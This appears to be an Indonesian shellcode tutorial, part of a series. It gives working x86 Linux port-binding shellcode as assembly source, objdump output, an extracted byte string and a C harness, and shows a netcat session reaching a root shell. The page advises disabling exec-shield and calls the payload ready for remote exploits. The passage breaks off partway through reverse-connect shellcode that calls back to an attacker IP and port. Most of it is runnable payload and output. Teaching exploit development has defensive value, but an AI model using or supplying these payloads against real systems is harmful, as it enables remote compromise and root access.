9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;">BITS <span style="color: #0000ff;">32</span>
section <span style="color: #339933;">.</span>text
global _start
&nbsp;
_start<span style="color: #339933;">:</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebx</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #00007f;">edx</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;server=socket(2,1,0)</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; push 0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #0000ff;">0x1</span> <span style="color: #666666; font-style: italic;">; push 1</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #0000ff;">0x2</span> <span style="color: #666666; font-style: italic;">; push 2</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX points to [2][1][0]</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">bl</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">102</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; esi = server socket handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;bind(server,(struct sockaddr*)&amp;serv_addr,16)</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">word</span> <span style="color: #0000ff;">0x5C09</span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">2</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">dx</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX = &amp;serv_addr</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #0000ff;">16</span> <span style="color: #666666; font-style: italic;">; push 16 (sizeof struct sockaddr)</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ecx</span>  <span style="color: #666666; font-style: italic;">; push &amp;serv_addr</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">esi</span>   <span style="color: #666666; font-style: italic;">; push server socket handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX points to [server][&amp;serv_addr][16]</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">bl</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">102</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;listen(server,0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #00007f;">edx</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; push 0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">esi</span> <span style="color: #666666; font-style: italic;">; push server socket handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX points to [server][0]</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bl</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x4</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">102</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;client=accept(server,0,0)</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; push 0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; push 0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">esi</span> <span style="color: #666666; font-style: italic;">; push server socket handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX points to [server][0][0]</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">bl</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">102</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; ebx = client socket handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;dup2(client,0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ecx</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">63</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;dup2(client,1)</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">ecx</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">63</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;dup2(client,2)</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">ecx</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">63</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;execve &quot;/bin//sh&quot;</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; push NULL (0x0)</span>
<span style="color: #00007f; font-weight: bold;">push</span> long <span style="color: #0000ff;">0x68732f2f</span> <span style="color: #666666; font-style: italic;">; push //sh</span>
<span style="color: #00007f; font-weight: bold;">push</span> long <span style="color: #0000ff;">0x6e69622f</span> <span style="color: #666666; font-style: italic;">; push /bin</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; EBX = address of &quot;/bin//sh&quot;</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; push NULL (0x0)</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ebx</span> <span style="color: #666666; font-style: italic;">; push address of &quot;/bin//sh&quot;</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX address of [address of &quot;/bin//sh&quot;,NULL]</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x0b</span> <span style="color: #666666; font-style: italic;">; exec system call</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span></pre></td></tr></table></div>

<p align="justify">
Bila anda sudah membaca artikel sebelumnya <a href="http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-1/">belajar membuat shellcode</a> part 1 anda tentu sudah mengerti tentang system call untuk mengeksekusi shell (execve), jadi tidak perlu saya jelaskan lagi di sini.
</p>
<p align="justify">
System call dup2 sangat sederhana, register yang harus diisi adalah EBX diisi dengan client socket handler, ECX diisi file handler untuk stdin,stdout dan stderr, dan terakhir adalah EAX yang harus diisi dengan nomor system call, 63.
</p>
<p align="justify">
Pada system call keluarga socket programming, socket(), bind(), listen(), accept() semua argumen disimpan dalam bentuk blok memori secara berurutan dengan alamatnya disimpan pada register ECX. Sebagai contoh, untuk socket(2,1,0), register ECX harus berisi alamat blok memori yang berisi byte berikut: 0&#215;02 0&#215;01 0&#215;00.
</p>
<p><b>Mengambil Opcode untuk Shellcode</b></p>
<p align="justify">
Langkah berikutnya adalah kita harus compile dan link source assembly tersebut. Setelah itu baru kita disassemble dengan objdump agar bisa diekstrak opcodenya.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ nasm -f elf portbind.asm
$ ld -o portbind_asm portbind.o
$ objdump -d ./portbind_asm
&nbsp;
./portbind_asm:     file format elf32-i386
&nbsp;
Disassembly of section .text:
&nbsp;
08048060 &lt;_start&gt;:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       31 db                   xor    %ebx,%ebx
 8048064:       31 d2                   xor    %edx,%edx
 8048066:       50                      push   %eax
 8048067:       6a 01                   push   $0x1
 8048069:       6a 02                   push   $0x2
 804806b:       89 e1                   mov    %esp,%ecx
 804806d:       fe c3                   inc    %bl
 804806f:       b0 66                   mov    $0x66,%al
 8048071:       cd 80                   int    $0x80
 8048073:       89 c6                   mov    %eax,%esi
 8048075:       52                      push   %edx
 8048076:       66 68 09 5c             pushw  $0x5c09
 804807a:       81 c2 02 00 00 00       add    $0x2,%edx
 8048080:       66 52                   push   %dx
 8048082:       89 e1                   mov    %esp,%ecx
 8048084:       6a 10                   push   $0x10
 8048086:       51                      push   %ecx
 8048087:       56                      push   %esi
 8048088:       89 e1                   mov    %esp,%ecx
 804808a:       fe c3                   inc    %bl
 804808c:       b0 66                   mov    $0x66,%al
 804808e:       cd 80                   int    $0x80
 8048090:       31 d2                   xor    %edx,%edx
 8048092:       52                      push   %edx
 8048093:       56                      push   %esi
 8048094:       89 e1                   mov    %esp,%ecx
 8048096:       b3 04                   mov    $0x4,%bl
 8048098:       b0 66                   mov    $0x66,%al
 804809a:       cd 80                   int    $0x80
 804809c:       52                      push   %edx
 804809d:       52                      push   %edx
 804809e:       56                      push   %esi
 804809f:       89 e1                   mov    %esp,%ecx
 80480a1:       fe c3                   inc    %bl
 80480a3:       b0 66                   mov    $0x66,%al
 80480a5:       cd 80                   int    $0x80
 80480a7:       89 c3                   mov    %eax,%ebx
 80480a9:       31 c9                   xor    %ecx,%ecx
 80480ab:       b0 3f                   mov    $0x3f,%al
 80480ad:       cd 80                   int    $0x80
 80480af:       41                      inc    %ecx
 80480b0:       b0 3f                   mov    $0x3f,%al
 80480b2:       cd 80                   int    $0x80
 80480b4:       41                      inc    %ecx
 80480b5:       b0 3f                   mov    $0x3f,%al
 80480b7:       cd 80                   int    $0x80
 80480b9:       52                      push   %edx
 80480ba:       68 2f 2f 73 68          push   $0x68732f2f
 80480bf:       68 2f 62 69 6e          push   $0x6e69622f
 80480c4:       89 e3                   mov    %esp,%ebx
 80480c6:       52                      push   %edx
 80480c7:       53                      push   %ebx
 80480c8:       89 e1                   mov    %esp,%ecx
 80480ca:       b0 0b                   mov    $0xb,%al
 80480cc:       cd 80                   int    $0x80</pre></td></tr></table></div>

<p><b>Byte Terlarang di Shellcode</b></p>
<p align="justify">
Dari hasil objdump di atas terlihat ada byte yang terlarang, yaitu 0&#215;00 yang merupakan bagian dari opcode instruksi: &#8220;add edx,2&#8243;. Kenapa byte 0&#215;0 tidak boleh ada? Sebab ketika kita menginjeksi string, maka byte 0&#215;0 akan dianggap sebagai akhir sebuah string, akibatnya shellcode kita tidak akan terinjeksi dengan lengkap dan terpotong pada byte 0&#215;0 tersebut.
</p>
<p align="justify">
Agar byte 0&#215;0 tidak ada, maka kita harus mengganti &#8220;add edx,2&#8243; dengan instruksi lain yang ekivalen, artinya instruksi pengganti tersebut harus berakibat pada bertambahnya nilai edx dengan 2. Saya akan mengganti instruksi &#8220;add edx,2&#8243; dengan instruksi &#8220;inc edx&#8221; sebanyak 2 kali. Mari kita lihat perbedaan antara opcode &#8220;add edx,2&#8243; dengan &#8220;inc edx&#8221;.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;"> 804807a:       81 c2 02 00 00 00       add    edx, 2</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;"> 804807a:       42                      inc    edx
 804807b:       42                      inc    edx</pre></div></div>

<p align="justify">
Perhatikan kedua opcode di atas. Ada dua keuntungan yang kita dapatkan dengan mengganti instruksi add. Pertama adalah tidak ada lagi byte 0&#215;0. Kedua adalah ukurannya lebih hemat, instruksi &#8220;inc edx&#8221; hanya berukuran 1 byte, jadi total berukuran 2 byte. Sedangkan instruksi &#8220;add edx, 2&#8243; berukuran 6 byte, kita hemat 4 byte untuk mendapat efek yang sama.
</p>
<p align="justify">
Oke setelah kita menyingkirkan byte terlarang, kita harus mengekstrak opcodenya untuk menjadi shellcode. Kita akan pakai lagi cara yang saya pakai di artikel part 1 untuk dengan cepat meng-ekstrak opcode dari output objdump.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -d portbind_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/&quot;/'|sed 's/$/&quot;/g'
&quot;\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80&quot;</pre></div></div>

<p align="justify">
Setelah kita dapatkan shellcode, mari kita coba lagi pakai perl dan ndisasm, kalau hasil disassemblernya sama dengan source assembly awal, berarti shellcode tersebut sudah benar.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ perl -e 'print &quot;\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80&quot;'|ndisasm -u -
00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  31D2              xor edx,edx
00000006  50                push eax
00000007  6A01              push byte +0x1
00000009  6A02              push byte +0x2
0000000B  89E1              mov ecx,esp
0000000D  FEC3              inc bl
0000000F  B066              mov al,0x66
00000011  CD80              int 0x80
00000013  89C6              mov esi,eax
00000015  52                push edx
00000016  6668095C          push word 0x5c09
0000001A  42                inc edx
0000001B  42                inc edx
0000001C  6652              push dx
0000001E  89E1              mov ecx,esp
00000020  6A10              push byte +0x10
00000022  51                push ecx
00000023  56                push esi
00000024  89E1              mov ecx,esp
00000026  FEC3              inc bl
00000028  B066              mov al,0x66
0000002A  CD80              int 0x80
0000002C  31D2              xor edx,edx
0000002E  52                push edx
0000002F  56                push esi
00000030  89E1              mov ecx,esp
00000032  B304              mov bl,0x4
00000034  B066              mov al,0x66
00000036  CD80              int 0x80
00000038  52                push edx
00000039  52                push edx
0000003A  56                push esi
0000003B  89E1              mov ecx,esp
0000003D  FEC3              inc bl
0000003F  B066              mov al,0x66
00000041  CD80              int 0x80
00000043  89C3              mov ebx,eax
00000045  31C9              xor ecx,ecx
00000047  B03F              mov al,0x3f
00000049  CD80              int 0x80
0000004B  41                inc ecx
0000004C  B03F              mov al,0x3f
0000004E  CD80              int 0x80
00000050  41                inc ecx
00000051  B03F              mov al,0x3f
00000053  CD80              int 0x80
00000055  52                push edx
00000056  682F2F7368        push dword 0x68732f2f
0000005B  682F62696E        push dword 0x6e69622f
00000060  89E3              mov ebx,esp
00000062  52                push edx
00000063  53                push ebx
00000064  89E1              mov ecx,esp
00000066  B00B              mov al,0xb
00000068  CD80              int 0x80</pre></div></div>

<p align="justify">
Oke selamat, shellcodenya sudah benar. Setelah itu biar lebih afdol, kita harus menguji dengan program C berikut.
</p>
<blockquote><p>
Jangan lupa untuk mematikan exec shield dengan cara &#8220;echo 0 > /proc/sys/kernel/exec-shield&#8221; sebelum program C di bawah ini bisa dieksekusi. Bila tidak anda akan mendapatkan segmentation fault error.
</p></blockquote>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span> shellcode<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc0</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xdb</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xd2</span><span style="color: #660099; font-weight: bold;">\x50</span><span style="color: #660099; font-weight: bold;">\x6a</span><span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x6a</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xfe</span><span style="color: #660099; font-weight: bold;">\xc3</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xc6</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x09</span><span style="color: #660099; font-weight: bold;">\x5c</span><span style="color: #660099; font-weight: bold;">\x42</span><span style="color: #660099; font-weight: bold;">\x42</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\x6a</span><span style="color: #660099; font-weight: bold;">\x10</span><span style="color: #660099; font-weight: bold;">\x51</span><span style="color: #660099; font-weight: bold;">\x56</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xfe</span><span style="color: #660099; font-weight: bold;">\xc3</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xd2</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x56</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xb3</span><span style="color: #660099; font-weight: bold;">\x04</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x56</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xfe</span><span style="color: #660099; font-weight: bold;">\xc3</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xc3</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x41</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x41</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x73</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x62</span><span style="color: #660099; font-weight: bold;">\x69</span><span style="color: #660099; font-weight: bold;">\x6e</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe3</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x53</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x0b</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        asm<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;jmp shellcode&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>


<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gcc portbindshellcode.c -o portbindshellcode
$ sudo ./portbindshellcode</pre></div></div>

<p align="justify">Setelah dijalankan sebagai root, di console lain saya coba koneksi dengan netcat ke port 2396.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ nc localhost 2396
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
exit</pre></div></div>

<p align="justify">
Berhasil! Selamat, port binding shellcode kini sudah siap dipakai untuk remote exploit.
</p>
<p><b>Membuat Reverse Connecting Shellcode</b></p>
<p align="justify">
Baiklah kini kita menginjak pada pembuatan shellode bertipe reverse connecting. Dalam shellcode jenis ini, shellcode bertindak sebagai client dan attacker menyiapkan sebuah server yang siap dihubungi di IP dan port tertentu. Sebagai simulasi kita asumsikan IP dan port attacker adalah 192.168.0.14:27155 dan IP komputer target adalah 192.168.0.10.
</p>
<p align="justify">
Karena socket programming di sisi client lebih sederhana dan mirip dengan port binding, saya langsung saja membuat shellcode ini dalam bahasa C.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;sys/socket.h&gt;</span>
<span style="color: #339933;">#include &lt;netinet/in.h&gt;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
        <span style="color: #993333;">int</span> soc<span style="color: #339933;">;</span>
        <span style="color: #993333;">int</span> remote<span style="color: #339933;">;</span>
        <span style="color: #993333;">struct</span> sockaddr_in serv_addr<span style="color: #339933;">;</span>
&nbsp;
        serv_addr.<span style="color: #202020;">sin_family</span><span style="color: #339933;">=</span><span style="color: #0000dd;">2</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// internet address</span>
        serv_addr.<span style="color: #202020;">sin_addr</span>.<span style="color: #202020;">s_addr</span> <span style="color: #339933;">=</span> <span style="color: #208080;">0x0E00A8C0</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 192.168.0.14</span>
        serv_addr.<span style="color: #202020;">sin_port</span><span style="color: #339933;">=</span><span style="color: #208080;">0x136A</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// port 27155</span>
        soc <span style="color: #339933;">=</span> socket<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">2</span><span style="color: #339933;">,</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        remote <span style="color: #339933;">=</span> connect<span style="color: #009900;">&#40;</span>soc<span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> sockaddr<span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>serv_addr<span style="color: #339933;">,</span><span style="color: #0000dd;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        dup2<span style="color: #009900;">&#40;</span>soc<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        dup2<span style="color: #009900;">&#40;</span>soc<span style="color: #339933;">,</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        dup2<span style="color: #009900;">&#40;</span>soc<span style="color: #339933;">,</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">;</span>
        shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> NULL<span style="color: #339933;">;</span>
